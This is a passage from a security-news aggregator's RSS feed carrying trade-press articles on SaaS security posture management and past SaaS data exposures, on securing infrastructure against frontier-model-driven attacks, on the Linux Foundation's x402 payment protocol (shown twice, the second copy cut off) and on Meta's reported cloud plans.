<description><![CDATA[Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce t...]]></description>
<link>https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce tenant right now? — The room goes quiet. Nobody knows. Not because they are negligent. Because they genuinely cannot see it.</p>



<p class="wp-block-paragraph">That is the SaaS blind spot.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-1-The-Blind-Spot-and-what-SSPM-covers.png?w=1024" alt="Figure 1: The Blind Spot and what SSPM covers" class="wp-image-4197928" width="1024" height="417" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 1: The Blind Spot and what SSPM covers.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>SaaS: Numbers speak volumes</h2>



<p class="wp-block-paragraph">I ask this question in almost every engagement: how many SaaS applications does your organization run? The answers I get range from 30 to maybe 50. The real number, once someone counts, is usually north of three hundred. <a href="https://appomni.com/press-releases/new-state-of-saas-security-report-2024/">AppOmni’s 2024 research</a> put it even higher — 49% of Microsoft 365 organizations believed they had fewer than ten apps connected to their tenant when the actual average was over a thousand.</p>



<p class="wp-block-paragraph">Here is the part that concerns me more than the count. Of all those applications, security teams have clear sight into maybe one in 10. The rest — where your customer records live, where your source code sits, where your financial reports get shared — nobody is watching. Not because the team is careless. Because the tools they have were never built to look there.</p>



<p class="wp-block-paragraph">The following incidents will discuss these realities.</p>



<h3 class="wp-block-heading"><a></a>Salesforce in 2023</h3>



<p class="wp-block-paragraph">In April 2023, <a href="https://krebsonsecurity.com/2023/04/many-public-salesforce-sites-are-leaking-private-data/">KrebsOnSecurity</a> broke the story — Salesforce Community sites were quietly leaking sensitive data belonging to government agencies, banks, and healthcare providers. No sophisticated attack technique. Just the right API endpoint and a misconfigured guest user profile. The exposed records included Social Security numbers, account details, and home addresses. Salesforce was clear in its response: this was not a platform vulnerability. Administrators had misconfigured guest access policies, and nobody had checked.</p>



<p class="wp-block-paragraph">Guest user profiles in Salesforce Communities can be granted access to data records. When administrators set those permissions too broadly — often without realizing it — unauthenticated external users can query that data straight through the API. Over 150,000 companies were potentially sitting in that window before anyone raised the alarm.</p>



<p class="wp-block-paragraph">The pattern is always the same. Configuration made under time pressure, default set slightly too permissive, nobody looks at it again. SaaS applications accumulate these quiet exposures over months and years.</p>



<h3 class="wp-block-heading"><a></a>GitHub in 2022</h3>



<p class="wp-block-paragraph">In April 2022, <a href="https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/">GitHub disclosed</a> that an attacker had used stolen OAuth tokens — issued to Heroku and Travis CI — to access and download private repository contents from dozens of organizations, including npm. GitHub’s own systems were never touched. The tokens came from third-party applications that users had authorized to connect to their accounts, and those applications had been quietly compromised.</p>



<p class="wp-block-paragraph">The entry point was not GitHub. It was not even the organizations that lost their data. It was the CI/CD tools those organizations had connected to GitHub months or years earlier — tools that had been granted broad read and write permissions that were never revisited.</p>



<p class="wp-block-paragraph">That is the OAuth problem in plain terms. The moment you authorize a third-party application; its security posture becomes your problem too. Most organizations have dozens of these connections sitting open across their SaaS platforms — and no one reviewing them.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="496" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><em>Figure 2: The 2022 GitHub breach chain.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h3 class="wp-block-heading"><a></a>Microsoft in 2023</h3>



<p class="wp-block-paragraph">The Microsoft case from 2023 is the one I bring up when people assume this only happens to careless organizations. <a href="https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers">Wiz Research</a> found that Microsoft’s own AI team had exposed 38TB of internal data — private keys, passwords, and more than 30,000 internal Teams messages — through a single misconfigured Azure access token. The token was supposed to share one training dataset on GitHub. Instead, it opened an entire storage account to anyone who found the link.</p>



<p class="wp-block-paragraph">What gets me about this one is the timeline. That token had been sitting there since October 2021. Nearly two years, inside Microsoft, before anyone caught it. If a team with that level of resources and expertise can leave a door open for two years, the idea that “we’d notice” is not much of a security strategy. And it’s worth noting — this wasn’t a database leak. It was Teams messages. The same collaboration tools your employees use every day are just as exposed as the platforms holding structured records.</p>



<h2 class="wp-block-heading"><a></a>Why traditional security tools miss this</h2>



<p class="wp-block-paragraph">Cloud Security Posture Management tools — CSPM — are designed to monitor infrastructure configuration: virtual machines, storage buckets, network rules, and IAM policies at the infrastructure level. They do an acceptable job at that layer. What they do not do is look inside SaaS applications. <a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project">CISA’s Secure Cloud Business Applications (SCuBA) guidance</a> specifically calls out the gap between infrastructure security tools and SaaS-layer visibility as one of the most under addressed areas in enterprise cloud security.</p>



<p class="wp-block-paragraph">This is the gap SSPM was built to close. Instead of watching infrastructure, it watches the configuration of the SaaS applications themselves — permissions, sharing settings, who has access to what. And the distinction is not just academic. Infrastructure misconfigurations tend to expose systems. SaaS misconfigurations tend to expose data — directly, quietly, and often without any detectable attack activity at all.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-3-The-six-core-visibility-capabilities-of-SSPM.png?w=1024" alt="Figure 3: The six core visibility capabilities of SSPM" class="wp-image-4197926" width="1024" height="567" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 3: The six core visibility capabilities of SSPM</em>.</figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>What security teams should do now</h2>



<p class="wp-block-paragraph">You do not need to deploy a full SSPM platform tomorrow to start closing the gap. There are practical steps that move the needle immediately.</p>



<ul class="wp-block-list">
<li>Audit connected OAuth applications across your primary SaaS platforms. Revoke any integration that cannot be justified by a current business need.</li>



<li>Common source of public data exposure: Review guest and external sharing permissions in Salesforce Communities and Microsoft SharePoint.</li>



<li>Check whether legacy authentication protocols are disabled in Microsoft 365. Legacy auth bypasses MFA and becomes a potential entry point in enterprise environments.</li>



<li>Establish a quarterly access review for high-privilege accounts in SaaS applications. Most organizations run annual reviews at best — that is not frequent enough for platforms that change configuration daily.</li>



<li>A map of which SaaS applications hold sensitive data, and which have no security team ownership at all. That list will be longer than you expect.</li>
</ul>



<p class="wp-block-paragraph">The core issue is not that organizations are careless. It is that they have built security programs around the perimeter and the infrastructure, and SaaS applications grew up inside that perimeter without ever being brought into scope. The data is there. The access is there. The misconfiguration is often there too. What has been missing is the visibility to see it.</p>



<p class="wp-block-paragraph">SSPM closes that gap. But even before a formal tool is in place, simply asking the question — what can the applications we already run see and share? — is a meaningful first step. In my experience, the answer surprises almost every organization that takes the time to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 steps to secure your infrastructure in the frontier model era]]></title>
<description><![CDATA[The industry conversation around AI infrastructure has narrowed to a single dimension: scale. The focus is on GPUs, power, cooling and the massive physical footprint required to train and run AI agents and models. At the same time, organizations are adjusting to the speed and scale with which AI ...]]></description>
<link>https://tsecurity.de/de/3675558/it-security-nachrichten/5-steps-to-secure-your-infrastructure-in-the-frontier-model-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675558/it-security-nachrichten/5-steps-to-secure-your-infrastructure-in-the-frontier-model-era/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The industry conversation around AI infrastructure has narrowed to a single dimension: scale. The focus is on GPUs, power, cooling and the massive physical footprint required to train and run AI agents and models. At the same time, organizations are adjusting to the speed and scale with which AI is identifying vulnerabilities — which is much faster than remediation can be started.</p>



<p class="wp-block-paragraph">However, almost no one is talking about the infrastructure layer that actually determines whether AI workloads remain secure, resilient and compliant. This is the layer that runs the world’s most sensitive, regulated, high‑value workloads. Thankfully, it already has the guardrails needed for an era where vulnerabilities are discovered faster than ever. But are they being set correctly?</p>



<p class="wp-block-paragraph">With more than <a href="https://www.idc.com/resource-center/blog/agentic-ai-is-critical-infrastructure/">one billion AI agents expected by 2029</a>, organizations need a plan for their infrastructure layer to withstand threats from new frontier models, maintain uptime and protect data sovereignty. As they scale AI deployments, enterprises must secure the infrastructure AI depends on.</p>



<p class="wp-block-paragraph">These five steps outline what organizations can do now to strengthen their infrastructure posture using proven, enterprise‑grade practices for current and future threats.</p>



<h2 class="wp-block-heading">Step 1: Build on infrastructure engineered for security and resilience</h2>



<p class="wp-block-paragraph">Infrastructure must be secure by design, not secured after deployment. The systems that have historically supported the world’s most critical workloads — from global payments to national‑scale operations — were built with this principle at their core. If you’ve already invested in systems designed for mission-critical workloads, you’ve checked this first box.</p>



<p class="wp-block-paragraph">Enterprise‑grade systems have been engineered with multilayered security controls, pervasive encryption, confidential computing and hardware‑level protections that make exploitation dramatically harder. A frontier model in the hands of a bad actor can chain weaknesses faster than humans can patch them — unless the underlying infrastructure is built to absorb and deflect that pressure.</p>



<p class="wp-block-paragraph">When I meet with clients, I often tell them what our own security teams operate under: we assume vulnerabilities will continue to be discovered and we design for that reality. That mindset is what separates infrastructure that survives frontier‑model pressure from infrastructure that collapses under it. These systems continue to evolve with predictive failure analysis and accelerated recovery, allowing systems to continue operating even during investigation and remediation.</p>



<h2 class="wp-block-heading">Step 2: Treat uptime and resilience as a security requirement</h2>



<p class="wp-block-paragraph">If your infrastructure fails, your workloads will too. These systems depend on uninterrupted access to data and compute, and even seconds of downtime can compound operational and security risk. Enterprise‑grade platforms deliver near‑continuous availability through redundant hardware paths and intelligent system recovery.</p>



<p class="wp-block-paragraph">The easiest fix? Ample resources and an up-to-date infrastructure foundation. Too often, a security problem is really an availability problem that turned into a security problem. When systems fall behind on maintenance, capacity or recovery readiness, they create the exact openings a frontier model can exploit. A delayed maintenance cycle or a recovery process that takes too long becomes the opening a frontier model can exploit. Resilience is not just about uptime. It is a security control. And this will not be the last time a frontier model tests the limits of that resilience.</p>



<p class="wp-block-paragraph">Data resilience is equally critical. Cyber‑resilient storage systems with immutable backups and rapid recovery capabilities ensure that critical data remains protected and available even after a cyber incident or disaster.</p>



<h2 class="wp-block-heading">Step 3: Operate for continuous discovery, not periodic defense</h2>



<p class="wp-block-paragraph">The idea that you can prevent every vulnerability is outdated. The more realistic model is continuous discovery — finding, prioritizing and addressing issues faster than they can be exploited. Organizations must operate as if vulnerabilities will be found faster than ever.  Instead of relying on static defenses, they should emphasize layered controls, rapid triage, continuous delivery of fixes and coordinated disclosure.</p>



<p class="wp-block-paragraph">Frontier models in the hands of bad actors can amplify security challenges by connecting vulnerabilities. They can chain misconfigurations, outdated components and privilege gaps into a viable attack route in minutes. And the more outdated or inconsistent an environment is, the easier that chaining becomes.</p>



<p class="wp-block-paragraph">Modern operational‑intelligence tooling helps them surface that risk, prioritize what matters and act before an attacker can exploit the gaps. These platforms help organizations understand where they are exposed, identify which maintenance issues carry the highest operational and security risk, and reduce the blind spots that frontier‑model attackers are increasingly adept at exploiting.</p>



<p class="wp-block-paragraph">It’s critical to assess how you manage your vulnerabilities. Internal processes should address severe vulnerabilities within hours, regardless of whether they are discovered by humans, traditional tooling or AI‑driven techniques. As AI accelerates vulnerability chaining, this posture maintains operational integrity and reduces exposure.</p>



<h2 class="wp-block-heading">Step 4: Use AI to defend AI</h2>



<p class="wp-block-paragraph">Leading organizations are integrating AI‑driven threat detection directly into their infrastructure. On operating systems like z/OS, AI‑based analytics can identify anomalous and potentially malicious data access, reducing investigation time and limiting impact.</p>



<p class="wp-block-paragraph">Beyond detection, autonomous security models are emerging that continuously govern risk, investigate threats and enforce resilience across identities, data, applications, cloud and networks. Across the industry, we’re seeing the rise of autonomous security frameworks that use AI to assess posture, detect threats and harden controls without waiting for human intervention. Combined with modern AI‑accelerated processors, these capabilities allow threats to be analyzed and mitigated directly within the infrastructure itself.</p>



<h2 class="wp-block-heading">Step 5: Join a broader ecosystem fighting frontier model threats</h2>



<p class="wp-block-paragraph">No organization can face frontier model threats alone. These risks require coordinated industry action. Frontier models give both good and bad actors the ability to analyze codebases, chain vulnerabilities and probe infrastructure at a scale that no single enterprise can counter on its own.</p>



<p class="wp-block-paragraph">Across the industry, coalitions are emerging to assess and remediate vulnerabilities discovered by frontier-class models and to help enterprises build AI resilience. Initiatives like Project Glasswing, Project QuiltWorks and the Frontier AI Alliance are examples of how providers, consultancies and security firms are beginning to coordinate their response to AI-accelerated threats.</p>



<p class="wp-block-paragraph">Organizations can also benefit from independent assessments that evaluate readiness for agentic-enabled threats and identify gaps across their infrastructure. These assessments help teams understand where they are exposed, how frontier models might chain those exposures together, and what actions will reduce the likelihood of a high-impact event.</p>



<p class="wp-block-paragraph">Participating in these programs is one of the most concrete steps enterprises can take today to strengthen their AI infrastructure posture.</p>



<h2 class="wp-block-heading">Your AI security depends on the infrastructure you choose</h2>



<p class="wp-block-paragraph">AI is accelerating both innovation and risk. The organizations that succeed will be those that build on resilient, secure infrastructure, prioritize uptime as a security control, operate with continuous discovery, use AI to defend AI and participate in the global response to frontier‑model threats. In the end, your ability to scale AI safely comes down to the infrastructure you trust to run it.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]></title>
<description><![CDATA[The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.



The x402 protocol, originally developed by Coinbase, embeds payment cap...]]></description>
<link>https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.</p>



<p class="wp-block-paragraph">The x402 protocol, originally <a href="https://www.coinbase.com/en-in/developer-platform/discover/launches/x402" target="_blank" rel="noreferrer noopener">developed</a> by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.</p>



<p class="wp-block-paragraph">“Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”</p>



<p class="wp-block-paragraph">Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.</p>



<p class="wp-block-paragraph">Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.</p>



<h2 class="wp-block-heading">Foundation targets a gap in agent-to-agent commerce</h2>



<p class="wp-block-paragraph">The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.</p>



<p class="wp-block-paragraph">Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.</p>



<p class="wp-block-paragraph">“By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.</p>



<p class="wp-block-paragraph">The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.</p>



<h2 class="wp-block-heading">How the protocol works</h2>



<p class="wp-block-paragraph">The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.</p>



<p class="wp-block-paragraph">The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.</p>



<p class="wp-block-paragraph">Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.</p>



<h2 class="wp-block-heading">Governance structure spans payments, cloud and blockchain sectors</h2>



<p class="wp-block-paragraph">Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.</p>



<p class="wp-block-paragraph">“This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.</p>



<p class="wp-block-paragraph">Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.</p>



<p class="wp-block-paragraph">According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.</p>



<h2 class="wp-block-heading">Growing ecosystem</h2>



<p class="wp-block-paragraph">The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.</p>



<p class="wp-block-paragraph">In May, AWS introduced <a href="https://aws.amazon.com/blogs/machine-learning/agents-that-transact-introducing-amazon-bedrock-agentcore-payments-built-with-coinbase-and-stripe/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore Payments</a> in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.</p>



<p class="wp-block-paragraph">The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.infoworld.com/article/4198170/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Can Meta really compete in the cloud business?]]></title>
<description><![CDATA[Meta is reportedly planning a cloud business that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customer...]]></description>
<link>https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</guid>
<pubDate>Fri, 17 Jul 2026 11:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.bloomberg.com/news/articles/2026-07-01/meta-is-building-a-cloud-business-to-sell-excess-ai-compute">Meta is reportedly planning a cloud business</a> that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customers to access AI models hosted on Meta’s infrastructure and pay based on usage, effectively positioning the company in the <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">infrastructure-as-a-service</a> and AI platform markets. On the surface, this seems like a logical next step. If you are already spending enormous amounts of money to build AI infrastructure, there is a natural temptation to ask whether some of that investment can be monetized beyond your own internal use.</p>



<p class="wp-block-paragraph">I have seen this pattern before. A company builds sophisticated internal systems, recognizes their value, and then begins to imagine that becoming a cloud provider is simply a matter of exposing those capabilities to external customers. It sounds straightforward, especially given the excitement around AI and the demand for high-performance infrastructure. But cloud computing is not just another distribution model. It is not simply a matter of offering on-demand multitenant services and charging a fee. It is a deeply operational, trust-based business in a market that punishes companies that do not fully understand what enterprise customers require.</p>



<h2 class="wp-block-heading">A crowded neocloud market</h2>



<p class="wp-block-paragraph">The first problem Meta faces is that this is not an open opportunity. The <a href="https://www.infoworld.com/article/4140865/neoclouds-run-ai-cheaper-and-better.html">neocloud</a> space, meaning purpose-built AI infrastructure delivered as a service, is already crowded and increasingly difficult to enter. Amazon, Microsoft, and Google dominate the conversation for obvious reasons. They have years of cloud operating experience, broad service portfolios, global reach, mature ecosystems, and deeply established enterprise relationships. Oracle remains a serious player as well, especially in enterprise applications, data platforms, and performance-sensitive workloads. IBM still matters in <a href="https://www.networkworld.com/article/964498/what-is-hybrid-cloud-computing.html">hybrid cloud</a>, operations, and industries where governance and regulatory rigor remain central.</p>



<p class="wp-block-paragraph">That list alone should give Meta pause. These companies are not just infrastructure vendors. They are experienced cloud operators. They have spent years building not only the underlying platforms, but also the native capabilities enterprises now expect by default. Those capabilities include security, governance, identity management, observability, support, compliance, billing controls, resilience planning, and integration with the broader enterprise technology estate. These are not secondary features. They are part of the core value proposition.</p>



<p class="wp-block-paragraph">This is why late entry into the cloud market is so hard. A new provider is not just competing on price or capacity. It is competing against accumulated trust. Enterprises are not casual buyers. They are selecting long-term operating environments for applications, data, AI models, and business-critical processes. They want confidence that the provider understands how these services will be consumed, governed, and supported over time. Meta is entering a market where the incumbents already have a major head start on all of those fronts.</p>



<h2 class="wp-block-heading">Harder than it looks</h2>



<p class="wp-block-paragraph">Over the years, I have had many technology companies come to me and say they wanted to reposition their technology in the cloud space, either as <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">software as a service</a> or infrastructure as a service. In the beginning, enthusiasm is always high. The technology is impressive. The market size looks attractive. The revenue models appear compelling. Investors love the story. Then we begin to walk through what it really means to operate as a cloud provider, and the optimism usually fades fast.</p>



<p class="wp-block-paragraph">The questions become very practical and very uncomfortable. How will tenants be isolated? How will <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity and access controls</a> work across different kinds of customers? What governance models will be built in natively? How will workloads be monitored, optimized, and secured? What does support look like 24 hours a day, across regions, across industries, across compliance boundaries? How will outages be handled, communicated, and remediated? How will the platform integrate with existing customer tools for operations, policy management, and security response? How much investment will it take just to become credible before you even begin to differentiate?</p>



<p class="wp-block-paragraph">Once companies fully understand the complexities, market dynamics, and the capital and execution required to compete even with secondary players, many of them back off. They realize that cloud technology is not a packaging exercise. It is a transformation in how a company designs, operates, supports, sells, and evolves technology. That is why I remain skeptical when any company assumes it can translate internal infrastructure excellence into external cloud success without a very long, disciplined commitment.</p>



<h2 class="wp-block-heading">Meta’s market readiness</h2>



<p class="wp-block-paragraph">Of course, Meta is not lacking in financial resources. If any company can afford to spend aggressively in this space, it is Meta. The company has the capital to build infrastructure, absorb losses, hire experienced talent, and stay in the market long enough to make a serious attempt. I would never argue that Meta is too small or too poor to try. Quite the opposite. If there is any non-traditional entrant with the financial scale to force itself into the conversation, Meta would be high on the list.</p>



<p class="wp-block-paragraph">But money does not erase complexity. It only gives you the chance to confront it. The real question is not whether Meta can afford to become a cloud provider. The question is whether Meta has what it takes to become an <em>excellent </em>cloud provider. Those are two very different things. Enterprises are not going to move meaningful workloads to a new platform simply because the company behind it is wealthy or technically famous. They are going to ask whether the provider understands enterprise consumption patterns, enterprise risk, enterprise governance, and enterprise operations.</p>



<p class="wp-block-paragraph">That is where the challenge becomes much more serious. Meta has extensive experience running infrastructure for itself. That is valuable, but internal operating excellence is not the same thing as external service maturity. Running systems for your own workloads allows a high degree of control over architecture, standards, priorities, and operating assumptions. Running systems for paying customers requires flexibility, consistency, transparency, and support across a wide range of use cases that you do not control. Those are very different disciplines, and companies often underestimate the gap between them.</p>



<h2 class="wp-block-heading">What exactly is Meta?</h2>



<p class="wp-block-paragraph">Another concern here is strategic clarity. Meta already has a complicated market identity. It is a social media company, an advertising platform company, a hardware company, an AI company, and still, in the minds of many, the company that spent billions pursuing the metaverse. If it now wants to be viewed as a serious cloud infrastructure provider, it will need to explain not only what it is offering, but why customers should believe this is a durable long-term commitment and not just another adjacent experiment.</p>



<p class="wp-block-paragraph">That uncertainty can be damaging. Customers want stable providers with clear strategic intent. They do not want to architect important systems around a platform if they suspect the provider may lose interest, shift direction, or reframe the business after a few years of uneven results. Cloud computing requires patience, consistency, and deep customer orientation. It is not a market where strategic ambiguity helps.</p>



<p class="wp-block-paragraph">This could become confusing for Meta internally as well. Building a true cloud business demands focus. It demands years of investment in areas that may not be glamorous but are absolutely necessary, such as governance, operations, controls, support frameworks, partner programs, and enterprise sales alignment. If the company is not willing to make those sacrifices fully and for the long term, the initiative will struggle.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]></title>
<description><![CDATA[The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.



The x402 protocol, originally developed by Coinbase, embeds payment cap...]]></description>
<link>https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</guid>
<pubDate>Fri, 17 Jul 2026 11:04:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.</p>



<p class="wp-block-paragraph">The x402 protocol, originally <a href="https://www.coinbase.com/en-in/developer-platform/discover/launches/x402" target="_blank" rel="noreferrer noopener">developed</a> by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.</p>



<p class="wp-block-paragraph">“Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”</p>



<p class="wp-block-paragraph">Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.</p>



<p class="wp-block-paragraph">Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.</p>



<h2 class="wp-block-heading">Foundation targets a gap in agent-to-agent commerce</h2>



<p class="wp-block-paragraph">The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.</p>



<p class="wp-block-paragraph">Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.</p>



